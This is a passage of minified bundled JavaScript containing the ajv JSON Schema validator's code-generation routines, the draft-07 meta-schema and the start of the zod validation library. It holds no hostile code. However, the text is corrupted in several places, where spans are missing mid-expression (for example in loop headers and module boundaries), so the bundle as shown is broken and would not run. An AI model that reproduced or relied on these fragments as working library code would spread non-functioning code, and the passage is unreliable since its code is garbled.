",y="schema"+n):y=i,(i||c)&&e.opts.uniqueItems!==!1){c&&(r+=" var "+E+"; if ("+y+" === false || "+y+" === undefined) "+E+" = true; else if (typeof "+y+" != 'boolean') "+E+" = false; else { "),r+=" var i = "+m+".length , "+E+" = true , j; if (i > 1) { ";var _=e.schema.items&&e.schema.items.type,v=Array.isArray(_);if(!_||_=="object"||_=="array"||v&&(_.indexOf("object")>=0||_.indexOf("array")>=0))r+=" outer: for (;i--;) { for (j = i; j--;) { if (equal("+m+"[i], "+m+"[j])) { "+E+" = false; break outer; } } } ";else{r+=" var itemIndices = {}, item; for (;i--;) { var item = "+m+"[i]; ";var P="checkDataType"+(v?"s":"");r+=" if ("+e.util[P](_,"item",e.opts.strictNumbers,!0)+") continue; ",v&&(r+=` if (typeof item == 'string') item = '"' + item; `),r+=" if (typeof itemIndices[item] == 'number') { "+E+" = false; j = itemIndices[item]; break; } itemIndices[item] = i; } "}r+=" } ",c&&(r+=" } "),r+=" if (!"+E+") { ";var T=T||[];T.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'uniqueItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { i: i, j: j } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have duplicate items (items ## ' + j + ' and ' + i + ' are identical)' "),e.opts.verbose&&(r+=" , schema: ",c?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var x=r;r=T.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+x+"]); ":r+=" validate.errors = ["+x+"]; return false; ":r+=" var err = "+x+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { ")}else h&&(r+=" if (true) { ");return r}});var Ci=B((vh,Ai)=>{"use strict";Ai.exports={$ref:zn(),allOf:Bn(),anyOf:Zn(),$comment:Gn(),const:Yn(),contains:ei(),dependencies:ti(),enum:si(),format:ii(),if:li(),items:ui(),maximum:es(),minimum:es(),maxItems:rs(),minItems:rs(),maxLength:ts(),minLength:ts(),maxProperties:as(),minProperties:as(),multipleOf:vi(),not:yi(),oneOf:Ei(),pattern:bi(),properties:xi(),propertyNames:Ri(),required:Oi(),uniqueItems:$i(),validate:Ya()}});var Ni=B((gh,ki)=>{"use strict";var Di=Ci(),ss=zr().toHash;ki.exports=function(){var e=[{type:"number",rules:[{maximum:["exclusiveMaximum"]},{minimum:["exclusiveMinimum"]},"multipleOf","format"]},{type:"string",rules:["maxLength","minLength","pattern","format"]},{type:"array",rules:["maxItems","minItems","items","contains","uniqueItems"]},{type:"object",rules:["maxProperties","minProperties","required","dependencies","propertyNames",{properties:["additionalProperties","patternProperties"]}]},{rules:["$ref","const","enum","not","anyOf","oneOf","allOf","if"]}],t=["type","$comment"],s=["$schema","$id","id","$data","$async","title","description","default","definitions","examples","readOnly","writeOnly","contentMediaType","contentEncoding","additionalItems","then","else"],r=["number","integer","string","array","object","boolean","null"];return e.all=ss(t),e.types=ss(r),e.forEach(function(n){n.rules=n.rules.map(function(l){var i;if(typeof l=="object"){var f=Object.keys(l)[0];i=l[f],l=f,i.forEach(function(h){t.push(h),e.all[h]=!0})}t.push(l);var d=e.all[l]={keyword:l,code:Di[l],implements:i};return d}),e.all.$comment={keyword:"$comment",code:Di.$comment},n.type&&(e.types[n.type]=n)}),e.keywords=ss(t.concat(s)),e.custom={},e}});var Fi=B((yh,Li)=>{"use strict";var ji=["multipleOf","maximum","exclusiveMaximum","minimum","exclusiveMinimum","maxLength","minLength","pattern","additionalItems","maxItems","minItems","uniqueItems","maxProperties","minProperties","required","additionalProperties","enum","format","const"];Li.exports=function(a,e){for(var t=0;t{"use strict";var Ku=Xt().MissingRef;qi.exports=Mi;function Mi(a,e,t){var s=this;if(typeof this._opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");typeof e=="function"&&(t=e,e=void 0);var r=n(a).then(function(){var i=s._addSchema(a,void 0,e);return i.validate||l(i)});return t&&r.then(function(i){t(null,i)},t),r;function n(i){var f=i.$schema;return f&&!s.getSchema(f)?Mi.call(s,{$ref:f},!0):Promise.resolve()}function l(i){try{return s._compile(i)}catch(d){if(d instanceof Ku)return f(d);throw d}function f(d){var h=d.missingSchema;if(c(h))throw new Error("Schema "+h+" is loaded but "+d.missingRef+" cannot be resolved");var m=s._loadingSchemas[h];return m||(m=s._loadingSchemas[h]=s._opts.loadSchema(h),m.then(E,E)),m.then(function(y){if(!c(h))return n(y).then(function(){c(h)||s.addSchema(y,h,void 0,e)})}).then(function(){return l(i)});function E(){delete s._loadingSchemas[h]}function c(y){return s._refs[y]||s._schemas[y]}}}}});var Hi=B((Eh,Vi)=>{"use strict";Vi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m,E="data"+(l||""),c="valid"+n,y="errs__"+n,_=e.opts.$data&&i&&i.$data,v;_?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",v="schema"+n):v=i;var P=this,T="definition"+n,x=P.definition,R="",I,$,V,M,A;if(_&&x.$data){A="keywordValidate"+n;var q=x.validateSchema;r+=" var "+T+" = RULES.custom['"+t+"'].definition; var "+A+" = "+T+".validate;"}else{if(M=e.useCustomRule(P,i,e.schema,e),!M)return;v="validate.schema"+f,A=M.code,I=x.compile,$=x.inline,V=x.macro}var F=A+".errors",j="i"+n,O="ruleErr"+n,C=x.async;if(C&&!e.async)throw new Error("async keyword in sync schema");if($||V||(r+=""+F+" = null;"),r+="var "+y+" = errors;var "+c+";",_&&x.$data&&(R+="}",r+=" if ("+v+" === undefined) { "+c+" = true; } else { ",q&&(R+="}",r+=" "+c+" = "+T+".validateSchema("+v+"); if ("+c+") { ")),$)x.statements?r+=" "+M.validate+" ":r+=" "+c+" = "+M.validate+"; ";else if(V){var L=e.util.copy(e),R="";L.level++;var ie="valid"+L.level;L.schema=M.validate,L.schemaPath="";var J=e.compositeRule;e.compositeRule=L.compositeRule=!0;var X=e.validate(L).replace(/validate\.schema/g,A);e.compositeRule=L.compositeRule=J,r+=" "+X}else{var G=G||[];G.push(r),r="",r+=" "+A+".call( ",e.opts.passContext?r+="this":r+="self",I||x.schema===!1?r+=" , "+E+" ":r+=" , "+v+" , "+E+" , validate.schema"+e.schemaPath+" ",r+=" , (dataPath || '')",e.errorPath!='""'&&(r+=" + "+e.errorPath);var H=l?"data"+(l-1||""):"parentData",fe=l?e.dataPathArr[l]:"parentDataProperty";r+=" , "+H+" , "+fe+" , rootData ) ";var Pe=r;r=G.pop(),x.errors===!1?(r+=" "+c+" = ",C&&(r+="await "),r+=""+Pe+"; "):C?(F="customErrors"+n,r+=" var "+F+" = null; try { "+c+" = await "+Pe+"; } catch (e) { "+c+" = false; if (e instanceof ValidationError) "+F+" = e.errors; else throw e; } "):r+=" "+F+" = null; "+c+" = "+Pe+"; "}if(x.modifying&&(r+=" if ("+H+") "+E+" = "+H+"["+fe+"];"),r+=""+R,x.valid)h&&(r+=" if (true) { ");else{r+=" if ( ",x.valid===void 0?(r+=" !",V?r+=""+ie:r+=""+c):r+=" "+!x.valid+" ",r+=") { ",m=P.keyword;var G=G||[];G.push(r),r="";var G=G||[];G.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(m||"custom")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { keyword: '"+P.keyword+"' } ",e.opts.messages!==!1&&(r+=` , message: 'should pass "`+P.keyword+`" keyword validation' `),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+E+" "),r+=" } "):r+=" {} ";var Re=r;r=G.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+Re+"]); ":r+=" validate.errors = ["+Re+"]; return false; ":r+=" var err = "+Re+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ";var te=r;r=G.pop(),$?x.errors?x.errors!="full"&&(r+=" for (var "+j+"="+y+"; "+j+"{Gu.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}});var Bi=B((bh,Wi)=>{"use strict";var zi=ns();Wi.exports={$id:"https://github.com/ajv-validator/ajv/blob/master/lib/definition_schema.js",definitions:{simpleTypes:zi.definitions.simpleTypes},type:"object",dependencies:{schema:["validate"],$data:["validate"],statements:["inline"],valid:{not:{required:["macro"]}}},properties:{type:zi.properties.type,schema:{type:"boolean"},statements:{type:"boolean"},dependencies:{type:"array",items:{type:"string"}},metaSchema:{type:"object"},modifying:{type:"boolean"},valid:{type:"boolean"},$data:{type:"boolean"},async:{type:"boolean"},errors:{anyOf:[{type:"boolean"},{const:"full"}]}}}});var Zi=B((Ph,Qi)=>{"use strict";var Ju=/^[a-z_$][a-z0-9_$-]*$/i,Yu=Hi(),Xu=Bi();Qi.exports={add:ed,get:rd,remove:td,validate:is};function ed(a,e){var t=this.RULES;if(t.keywords[a])throw new Error("Keyword "+a+" is already defined");if(!Ju.test(a))throw new Error("Keyword "+a+" is not a valid identifier");if(e){this.validateKeyword(e,!0);var s=e.type;if(Array.isArray(s))for(var r=0;r{ad.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON Schema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}});var no=B((wh,so)=>{"use strict";var Ji=On(),Wr=Yt(),sd=$n(),Yi=Wa(),nd=Ja(),id=Vn(),od=Ni(),Xi=Fi(),eo=zr();so.exports=pe;pe.prototype.validate=cd;pe.prototype.compile=ud;pe.prototype.addSchema=dd;pe.prototype.addMetaSchema=fd;pe.prototype.validateSchema=hd;pe.prototype.getSchema=md;pe.prototype.removeSchema=gd;pe.prototype.addFormat=wd;pe.prototype.errorsText=xd;pe.prototype._addSchema=yd;pe.prototype._compile=_d;pe.prototype.compileAsync=Ui();var oa=Zi();pe.prototype.addKeyword=oa.add;pe.prototype.getKeyword=oa.get;pe.prototype.removeKeyword=oa.remove;pe.prototype.validateKeyword=oa.validate;var ro=Xt();pe.ValidationError=ro.Validation;pe.MissingRefError=ro.MissingRef;pe.$dataMetaSchema=Xi;var ia="http://json-schema.org/draft-07/schema",Gi=["removeAdditional","useDefaults","coerceTypes","strictDefaults"],ld=["/properties"];function pe(a){if(!(this instanceof pe))return new pe(a);a=this._opts=eo.copy(a)||{},Ad(this),this._schemas={},this._refs={},this._fragments={},this._formats=id(a.format),this._cache=a.cache||new sd,this._loadingSchemas={},this._compilations=[],this.RULES=od(),this._getId=Ed(a),a.loopRequired=a.loopRequired||1/0,a.errorDataPath=="property"&&(a._errorDataPathProperty=!0),a.serialize===void 0&&(a.serialize=nd),this._metaOpts=$d(this),a.formats&&Od(this),a.keywords&&Id(this),Rd(this),typeof a.meta=="object"&&this.addMetaSchema(a.meta),a.nullable&&this.addKeyword("nullable",{metaSchema:{type:"boolean"}}),Td(this)}function cd(a,e){var t;if(typeof a=="string"){if(t=this.getSchema(a),!t)throw new Error('no schema with key or ref "'+a+'"')}else{var s=this._addSchema(a);t=s.validate||this._compile(s)}var r=t(e);return t.$async!==!0&&(this.errors=t.errors),r}function ud(a,e){var t=this._addSchema(a,void 0,e);return t.validate||this._compile(t)}function dd(a,e,t,s){if(Array.isArray(a)){for(var r=0;r_l,DIRTY:()=>Or,EMPTY_PATH:()=>Jo,INVALID:()=>z,NEVER:()=>ac,OK:()=>we,ParseStatus:()=>be,Schema:()=>K,ZodAny:()=>gr,ZodArray:()=>fr,ZodBigInt:()=>$r,ZodBoolean:()=>Ar,ZodBranded:()=>gt,ZodCatch:()=>Vr,ZodDate:()=>Cr,ZodDefault:()=>Ur,ZodDiscriminatedUnion:()=>Ct,ZodEffects:()=>Ve,ZodEnum:()=>Mr,ZodError:()=>Ae,ZodFirstPartyTypeKind:()=>W,ZodFunction:()=>kt,ZodIntersection:()=>jr,ZodIssueCode:()=>w,ZodLazy:()=>Lr,ZodLiteral:()=>Fr,ZodMap:()=>st,ZodNaN:()=>it,ZodNativeEnum:()=>qr,ZodNever:()=>Qe,ZodNull:()=>kr,ZodNullable:()=>rr,ZodNumber:()=>Ir,ZodObject:()=>Ce,ZodOptional:()=>qe,ZodParsedType:()=>k,ZodPipeline:()=>yt,ZodPromise:()=>yr,ZodReadonly:()=>Hr,ZodRecord:()=>Dt,ZodSchema:()=>K,ZodSet:()=>nt,ZodString:()=>vr,ZodSymbol:()=>tt,ZodTransformer:()=>Ve,ZodTuple:()=>er,ZodType:()=>K,ZodUndefined:()=>Dr,ZodUnion:()=>Nr,ZodUnknown:()=>dr,ZodVoid:()=>at,addIssueToContext:()=>D,any:()=>Ol,array:()=>Cl,bigint:()=>Pl,boolean:()=>Fs,coerce:()=>tc,custom:()=>Ns,date:()=>xl,datetimeRegex:()=>Ds,defaultErrorMap:()=>cr,discriminatedUnion:()=>jl,effect:()=>Zl,enum:()=>Wl,function:()=>Vl,getErrorMap:()=>Xr,getParsedType:()=>Xe,instanceof:()=>Sl,intersection:()=>Ll,isAborted:()=>$t,isAsync:()=>et,isDirty:()=>At,isValid:()=>mr,late:()=>El,lazy:()=>Hl,literal:()=>zl,makeIssue:()=>vt,map:()=>ql,nan:()=>bl,nativeEnum:()=>Bl,never:()=>$l,null:()=>Tl,nullable:()=>Gl,number:()=>Ls,object:()=>Dl,objectUtil:()=>Sa,oboolean:()=>rc,onumber:()=>ec,optional:()=>Kl,ostring:()=>Xl,pipeline:()=>Yl,preprocess:()=>Jl,promise:()=>Ql,quotelessJson:()=>Zo,record:()=>Ml,set:()=>Ul,setErrorMap:()=>Go,strictObject:()=>kl,string:()=>js,symbol:()=>wl,transformer:()=>Zl,tuple:()=>Fl,undefined:()=>Rl,union:()=>Nl,unknown:()=>Il,util:()=>Y,void:()=>Al});var Y;(function(a){a.assertEqual=r=>{};function e(r){}a.assertIs=e;function t(r){throw new Error}a.assertNever=t,a.arrayToEnum=r=>{let n={};for(let l of r)n[l]=l;return n},a.getValidEnumValues=r=>{let n=a.objectKeys(r).filter(i=>typeof r[r[i]]!="number"),l={};for(let i of n)l[i]=r[i];return a.objectValues(l)},a.objectValues=r=>a.objectKeys(r).map(function(n){return r[n]}),a.objectKeys=typeof Object.keys=="function"?r=>Object.keys(r):r=>{let n=[];for(let l in r)Object.prototype.hasOwnProperty.call(r,l)&&n.push(l);return n},a.find=(r,n)=>{for(let l of r)if(n(l))return l},a.isInteger=typeof Number.isInteger=="function"?r=>Number.isInteger(r):r=>typeof r=="number"&&Number.isFinite(r)&&Math.floor(r)===r;function s(r,n=" | "){return r.map(l=>typeof l=="string"?`'${l}'`:l).join(n)}a.joinValues=s,a.jsonStringifyReplacer=(r,n)=>typeof n=="bigint"?n.toString():n})(Y||(Y={}));var Sa;(function(a){a.mergeShapes=(e,t)=>({...e,...t})})(Sa||(Sa={}));var k=Y.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),Xe=a=>{switch(typeof a){case"undefined":return k.undefined;case"string":return k.string;case"number":return Number.isNaN(a)?k.nan:k.number;case"boolean":return k.boolean;case"function":return k.function;case"bigint":return k.bigint;case"symbol":return k.symbol;case"object":return Array.isArray(a)?k.array:a===null?k.null:a.then&&typeof a.then=="function"&&a.catch&&typeof a.catch=="function"?k.promise:typeof Map<"u"&&a instanceof Map?k.map:typeof Set<"u"&&a instanceof Set?k.set:typeof Date<"u"&&a instanceof Date?k.date:k.object;default:return k.unknown}};var w=Y.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),Zo=a=>JSON.stringify(a,null,2).replace(/"([^"]+)":/g,"$1:"),Ae=class a extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=s=>{this.issues=[...this.issues,s]},this.addIssues=(s=[])=>{this.issues=[...this.issues,...s]};let t=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,t):this.__proto__=t,this.name="ZodError",this.issues=e}format(e){let t=e||function(n){return n.message},s={_errors:[]},r=n=>{for(let l of n.issues)if(l.code==="invalid_union")l.unionErrors.map(r);else if(l.code==="invalid_return_type")r(l.returnTypeError);else if(l.code==="invalid_arguments")r(l.argumentsError);else if(l.path.length===0)s._errors.push(t(l));else{let i=s,f=0;for(;ft.message){let t={},s=[];for(let r of this.issues)if(r.path.length>0){let n=r.path[0];t[n]=t[n]||[],t[n].push(e(r))}else s.push(e(r));return{formErrors:s,fieldErrors:t}}get formErrors(){return this.flatten()}};Ae.create=a=>new Ae(a);var Ko=(a,e)=>{let t;switch(a.code){case w.invalid_type:a.received===k.undefined?t="Required":t=`Expected ${a.expected}, received ${a.received}`;break;case w.invalid_literal:t=`Invalid literal value, expected ${JSON.stringify(a.expected,Y.jsonStringifyReplacer)}`;break;case w.unrecognized_keys:t=`Unrecognized key(s) in object: ${Y.joinValues(a.keys,", ")}`;break;case w.invalid_union:t="Invalid input";break;case w.invalid_union_discriminator:t=`Invalid discriminator value. Expected ${Y.joinValues(a.options)}`;break;case w.invalid_enum_value:t=`Invalid enum value. Expected ${Y.joinValues(a.options)}, received '${a.received}'`;break;case w.invalid_arguments:t="Invalid function arguments";break;case w.invalid_return_type:t="Invalid function return type";break;case w.invalid_date:t="Invalid date";break;case w.invalid_string:typeof a.validation=="object"?"includes"in a.validation?(t=`Invalid input: must include "${a.validation.includes}"`,typeof a.validation.position=="number"&&(t=`${t} at one or more positions greater than or equal to ${a.validation.position}`)):"startsWith"in a.validation?t=`Invalid input: must start with "${a.validation.startsWith}"`:"endsWith"in a.validation?t=`Invalid input: must end with "${a.validation.endsWith}"`:Y.assertNever(a.validation):a.validation!=="regex"?t=`Invalid ${a.validation}`:t="Invalid";break;case w.too_small:a.type==="array"?t=`Array must contain ${a.exact?"exactly":a.inclusive?"at least":"more than"} ${a.minimum} element(s)`:a.type==="string"?t=`String must contain ${a.exact?"exactly":a.inclusive?"at least":"over"} ${a.minimum} character(s)`:a.type==="number"?t=`Number must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${a.minimum}`:a.type==="bigint"?t=`Number must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${a.minimum}`:a.type==="date"?t=`Date must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(a.minimum))}`:t="Invalid input";break;case w.too_big:a.type==="array"?t=`Array must contain ${a.exact?"exactly":a.inclusive?"at most":"less than"} ${a.maximum} element(s)`:a.type==="string"?t=`String must contain ${a.exact?"exactly":a.inclusive?"at most":"under"} ${a.maximum} character(s)`:a.type==="number"?t=`Number must be ${a.exact?"exactly":a.inclusive?"less than or equal to":"less than"} ${a.maximum}`:a.type==="bigint"?t=`BigInt must be ${a.exact?"exactly":a.inclusive?"less than or equal to":"less than"} ${a.maximum}`:a.type==="date"?t=`Date must be ${a.exact?"exactly":a.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(a.maximum))}`:t="Invalid input";break;case w.custom:t="Invalid input";break;case w.invalid_intersection_types:t="Intersection results could not be merged";break;case w.not_multiple_of:t=`Number must be a multiple of ${a.multipleOf}`;break;case w.not_finite:t="Number must be finite";break;default:t=e.defaultError,Y.assertNever(a)}return{message:t}},cr=Ko;var Os=cr;function Go(a){Os=a}function Xr(){return Os}var vt=a=>{let{data:e,path:t,errorMaps:s,issueData:r}=a,n=[...t,...r.path||[]],l={...r,path:n};if(r.message!==void 0)return{...r,path:n,message:r.message};let i="",f=s.filter(d=>!!d).slice().reverse();for(let d of f)i=d(l,{data:e,defaultError:i}).message;return{...r,path:n,message:i}},Jo=[];function D(a,e){let t=Xr(),s=vt({issueData:e,data:a.data,path:a.path,errorMaps:[a.common.contextualErrorMap,a.schemaErrorMap,t,t===cr?void 0:cr].filter(r=>!!r)});a.common.issues.push(s)}var be=class a{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,t){let s=[];for(let r of t){if(r.status==="aborted")return z;r.status==="dirty"&&e.dirty(),s.push(r.value)}return{status:e.value,value:s}}static async mergeObjectAsync(e,t){let s=[];for(let r of t){let n=await r.key,l=await r.value;s.push({key:n,value:l})}return a.mergeObjectSync(e,s)}static mergeObjectSync(e,t){let s={};for(let r of t){let{key:n,value:l}=r;if(n.status==="aborted"||l.status==="aborted")return z;n.status==="dirty"&&e.dirty(),l.status==="dirty"&&e.dirty(),n.value!=="__proto__"&&(typeof l.value<"u"||r.alwaysSet)&&(s[n.value]=l.value)}return{status:e.value,value:s}}},z=Object.freeze({status:"aborted"}),Or=a=>({status:"dirty",value:a}),we=a=>({status:"valid",value:a}),$t=a=>a.status==="aborted",At=a=>a.status==="dirty",mr=a=>a.status==="valid",et=a=>typeof Promise<"u"&&a instanceof Promise;var U;(function(a){a.errToObj=e=>typeof e=="string"?{message:e}:e||{},a.toString=e=>typeof e=="string"?e:e?.message})(U||(U={}));var Ue=class{constructor(e,t,s,r){this._cachedPath=[],this.parent=e,this.data=t,this._path=s,this._key=r}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},Is=(a,e)=>{if(mr(e))return{success:!0,data:e.value};if(!a.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let t=new Ae(a.common.issues);return this._error=t,this._error}}};function Q(a){if(!a)return{};let{errorMap:e,invalid_type_error:t,required_error:s,description:r}=a;if(e&&(t||s))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:r}:{errorMap:(l,i)=>{let{message:f}=a;return l.code==="invalid_enum_value"?{message:f??i.defaultError}:typeof i.data>"u"?{message:f??s??i.defaultError}:l.code!=="invalid_type"?{message:i.defaultError}:{message:f??t??i.defaultError}},description:r}}var K=class{get description(){return this._def.description}_getType(e){return Xe(e.data)}_getOrReturnCtx(e,t){return t||{common:e.parent.common,data:e.data,parsedType:Xe(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new be,ctx:{common:e.parent.common,data:e.data,parsedType:Xe(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let t=this._parse(e);if(et(t))throw new Error("Synchronous parse encountered promise.");return t}_parseAsync(e){let t=this._parse(e);return Promise.resolve(t)}parse(e,t){let s=this.safeParse(e,t);if(s.success)return s.data;throw s.error}safeParse(e,t){let s={common:{issues:[],async:t?.async??!1,contextualErrorMap:t?.errorMap},path:t?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Xe(e)},r=this._parseSync({data:e,path:s.path,parent:s});return Is(s,r)}"~validate"(e){let t={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Xe(e)};if(!this["~standard"].async)try{let s=this._parseSync({data:e,path:[],parent:t});return mr(s)?{value:s.value}:{issues:t.common.issues}}catch(s){s?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),t.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:t}).then(s=>mr(s)?{value:s.value}:{issues:t.common.issues})}async parseAsync(e,t){let s=await this.safeParseAsync(e,t);if(s.success)return s.data;throw s.error}async safeParseAsync(e,t){let s={common:{issues:[],contextualErrorMap:t?.errorMap,async:!0},path:t?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:Xe(e)},r=this._parse({data:e,path:s.path,parent:s}),n=await(et(r)?r:Promise.resolve(r));return Is(s,n)}refine(e,t){let s=r=>typeof t=="string"||typeof t>"u"?{message:t}:typeof t=="function"?t(r):t;return this._refinement((r,n)=>{let l=e(r),i=()=>n.addIssue({code:w.custom,...s(r)});return typeof Promise<"u"&&l instanceof Promise?l.then(f=>f?!0:(i(),!1)):l?!0:(i(),!1)})}refinement(e,t){return this._refinement((s,r)=>e(s)?!0:(r.addIssue(typeof t=="function"?t(s,r):t),!1))}_refinement(e){return new Ve({schema:this,typeName:W.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:t=>this["~validate"](t)}}optional(){return qe.create(this,this._def)}nullable(){return rr.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return fr.create(this)}promise(){return yr.create(this,this._def)}or(e){return Nr.create([this,e],this._def)}and(e){return jr.create(this,e,this._def)}transform(e){return new Ve({...Q(this._def),schema:this,typeName:W.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let t=typeof e=="function"?e:()=>e;return new Ur({...Q(this._def),innerType:this,defaultValue:t,typeName:W.ZodDefault})}brand(){return new gt({typeName:W.ZodBranded,type:this,...Q(this._def)})}catch(e){let t=typeof e=="function"?e:()=>e;return new Vr({...Q(this._def),innerType:this,catchValue:t,typeName:W.ZodCatch})}describe(e){let t=this.constructor;return new t({...this._def,description:e})}pipe(e){return yt.create(this,e)}readonly(){return Hr.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return 